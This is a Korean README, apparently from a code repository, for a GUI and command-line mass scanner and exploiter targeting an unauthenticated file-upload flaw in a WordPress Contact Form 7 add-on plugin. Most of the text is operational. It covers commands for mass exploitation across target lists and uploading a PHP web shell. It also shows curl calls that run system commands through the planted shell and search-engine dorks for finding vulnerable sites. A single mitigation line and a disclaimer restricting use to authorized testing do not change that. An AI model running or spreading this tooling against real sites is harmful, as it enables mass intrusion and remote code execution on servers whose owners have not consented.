
CVE-2026-82901용 GUI 및 CLI 대량 스캐너 겸 익스플로이터로, Ultra Addons for Contact Form 7 WordPress 플러그인의 인증되지 않은 임의 파일 업로드 취약점입니다.
CVE-2026-82901을 위한 스캐너 및 대량 익스플로잇 도구 — WordPress 플러그인 Ultra Addons for Contact Form 7(Themefic)의 인증 불필요 임의 파일 업로드 취약점(CWE-434, CVSS 3.1 9.8 심각)으로, ≤ 3.5.50 버전에 영향을 미칩니다.
두 가지 인터페이스가 제공됩니다:
⚠️ 승인된 테스트 전용. 면책 조항을 참조하세요.
| 항목 | 세부 정보 |
|---|---|
| CVE | CVE-2026-82901 |
| 플러그인 | ultimate-addons-for-contact-form-7 (Ultra Addons for Contact Form 7) |
| 공급업체 | Themefic |
| 분류 | CWE-434 — 위험한 유형의 파일 무제한 업로드 |
| 영향받는 버전 | ≤ 3.5.50 |
| 패치된 버전 | 3.5.51+ |
| CVSS 3.1 | 9.8 심각 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 인증 | 필요 없음 (인증 불필요) |
| 취약한 함수 | uacf7_wpcf7_mail_components (PDF Generator 모듈) |
| 벡터 | CF7 REST POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback 및 signature 필드 |
| 쓰기 경로 | /wp-content/uploads/uacf7-uploads/ |
| 영향 | 임의 파일 업로드 → 업로드 디렉터리 내에서 PHP가 실행될 경우 RCE |
| 참고 자료 | NVD · CVE.org |
익스플로잇 조건: PDF Generator 모듈이 활성화되어 있어야 하며, 폼에 uacf7_signature 필드가 포함되어 있어야 합니다. 이 모듈은 기본적으로 비활성화되어 있으므로, 취약한 플러그인 버전을 실행하는 모든 사이트가 실제로 익스플로잇 가능한 것은 아닙니다.
readme.txt를 통한 플러그인 핑거프린팅 + 버전 탐지--form-url (/contact/) 지원results.jsonl (전체 세부 정보) + hits.txt (성공한 대상)git clone https://github.com/tonydelouvre/CVE-2026-82901.git
cd CVE-2026-82901
pip install -r requirements.txt
requirements.txt
requests>=2.31.0
urllib3>=2.0.0
tkinter는 Python에 기본 포함되어 있습니다. 누락된 경우(Linux):sudo apt install python3-tk.
python gui_82901.py

워크플로:
/contact/(상대 경로)를 입력하거나, 절대 URL을 입력합니다.check 또는 exploit.테이블 행 색상:
| 색상 | 의미 |
|---|---|
| 🟩 녹색 | shell_verified — 성공, shell 열이 채워짐 |
| 🟨 노란색 | vuln_candidate_sig_field — 강력한 후보 |
| 🟥 빨간색 | error |
도우미 버튼: ■ 중지(안전 종료), 로그 지우기, 적중 항목 열기, 출력 열기, CSV 내보내기.
# Fingerprint / candidate detection
python mass_82901.py -u https://target.tld --mode check
# Exploit (upload shell + verify)
python mass_82901.py -u https://target.tld --mode exploit \
--form-url https://target.tld/contact/ --shell-name wp_82901.php
# Mass mapping with a uniform form path (relative)
python mass_82901.py -l targets.txt --mode check -j 20 --form-url /contact/
# Mass exploit
python mass_82901.py -l targets.txt --mode exploit -j 10 --form-url /contact/
# Without --form-url -> per-target auto-discovery
python mass_82901.py -l targets.txt --mode exploit -j 10
targets.txt 형식# one URL per line
https://a.tld
# optional second column: a per-target form path/URL
https://b.tld /hubungi-kami/
https://c.tld | https://c.tld/custom-contact/
https://d.tld ; /kontak/
두 번째 열 구분자는 TAB, |, 또는 ;일 수 있습니다. 우선순위: 대상별 재정의 > 전역 --form-url > 자동 탐색.
| 인수 | 기본값 | 설명 |
|---|---|---|
-u, --url | — | 단일 대상 기본 URL |
-l, --list | — | 대상 목록 파일 |
--mode | check | check 또는 exploit |
--form-url | — | 절대 URL 또는 상대 경로 (/contact/) |
--field | auto | 서명 필드 이름 |
--shell-name | wp_82901.php | 업로드되는 파일의 이름 |
--verify-url | — | 이미 알려진 경우의 셸 URL |
-j, --threads | 10 | 워커 수 |
--timeout | 25 | 요청 타임아웃 (초) |
--proxy | — | HTTP(S) 프록시 |
--output | cve_2026_82901_results.jsonl | JSONL 결과 파일 |
--vuln-list | hits.txt | 성공한 대상 파일 |
-q, --quiet | off | 출력 감소 |
| 상태 | 의미 |
|---|---|
not_found | 플러그인이 감지되지 않음 |
not_vulnerable | 플러그인 존재, 버전 > 3.5.50 (패치됨) |
plugin_found_version_unknown | 플러그인 존재, 버전을 읽을 수 없음 |
plugin_ok_no_signature_field | 플러그인 존재, 서명 필드 없음 → PDF 모듈이 꺼져 있을 가능성 높음 |
vuln_candidate_sig_field | 플러그인 ≤ 3.5.50 그리고 서명 필드가 존재 → 강력한 후보 |
plugin_found_no_form | 플러그인 존재, CF7 폼을 찾을 수 없음 |
shell_verified | 성공 — 셸이 업로드되고 실행됨 |
exploit_inconclusive | 업로드 시도됨, 검증 실패 |
error | 대상을 처리하는 중 예외 발생 |
exploit_inconclusive인 이유는?대상이 안전하다는 의미는 아닙니다. 가능한 원인:
check 모드를 사용하여 vuln_candidate_sig_field를 필터링한 다음, 올바른 --field/--shell-name으로 단일 대상 exploit을 실행하세요.
shell_verified 상태 이후, 실행 테스트:
curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php"
# -> POCBIT-82901-OK
curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php?c=id"
# -> POCBIT-82901-OK
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
POCBIT-82901-OK 마커는 도구가 실행을 검증하는 데 사용하는 문자열입니다.
대상 탐색을 위한 Dork (Google / FOFA / Shodan):
body="/wp-content/plugins/ultimate-addons-for-contact-form-7"
body="uacf7" "wpcf7"
/wp-content/uploads/ 내부의 PHP 실행을 제한하세요 (예: php_flag engine off, .php 핸들러 차단).이 도구는 오직 합법적이고 승인된 보안 테스트 목적으로만 제공됩니다. 예를 들어 서면 허가를 받은 침투 테스트, 공식 범위 내의 버그 바운티 프로그램, 또는 본인이 소유한 시스템에 대한 보안 연구 등이 있습니다.
승인 없이 시스템에 접근하기 위해 이 도구를 사용하는 것은 불법이며 형사 범죄에 해당할 수 있습니다. 작성자는 무단 사용으로 인해 발생하는 손해, 데이터 손실 또는 법적 결과에 대해 어떠한 책임도 지지 않습니다.
이 도구를 사용함으로써, 귀하는 입력하는 모든 대상에 대해 테스트할 명시적 허가를 보유하고 있음을 확인하는 것입니다.
.
├── gui_82901.py # GUI (Tkinter)
├── mass_82901.py # CLI version (patched, mass mode)
├── requirements.txt
├── README.md
├── LICENSE
└── docs/
└── screenshot.png # GUI screenshot
MIT 라이선스로 배포됩니다. LICENSE를 참조하세요.